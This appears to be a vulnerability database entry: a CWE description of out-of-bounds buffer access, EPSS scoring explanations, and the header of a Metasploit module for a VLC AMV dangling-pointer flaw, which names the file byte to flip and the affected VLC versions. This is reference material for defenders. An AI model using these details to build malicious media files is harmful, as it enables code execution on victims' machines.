Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

'Name' => "VLC AMV Dangling Pointer Vulnerability",
'Description' => %q{
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st
byte in the file format (video width/height), VLC crashes due to an invalid pointer, which
allows remote attackers to gain arbitrary code execution.
The vulnerable packages include:
VLC 1.1.4
VLC 1.1.5
VLC 1.1.6
VLC 1.1.7
